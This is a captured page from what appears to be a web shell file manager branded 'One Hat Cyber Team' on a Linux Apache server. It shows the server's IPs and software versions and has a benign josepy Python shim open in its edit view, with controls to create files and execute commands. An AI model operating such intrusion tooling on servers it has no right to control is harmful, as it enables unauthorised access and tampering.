One Hat Cyber Team
Your IP :
108.162.216.16
Server IP :
188.114.97.7
Server :
Linux advantage-project 5.14.0-503.26.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Feb 19 16:28:19 UTC 2025 x86_64
Server Software :
Apache/2.4.62 (Rocky Linux) OpenSSL/3.2.2
PHP Version :
8.3.17
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
lib
/
python3.9
/
site-packages
/
josepy
/
Edit File:
magic_typing.py
"""Shim class to not have to depend on typing module in prod.""" # mypy: ignore-errors import sys import warnings from typing import Any warnings.warn( "josepy.magic_typing is deprecated and will be removed in a future release.", DeprecationWarning ) class TypingClass: """Ignore import errors by getting anything""" def __getattr__(self, name: str) -> Any: return None try: # mypy doesn't respect modifying sys.modules from typing import * # noqa: F401,F403 except ImportError: sys.modules[__name__] = TypingClass()
Simpan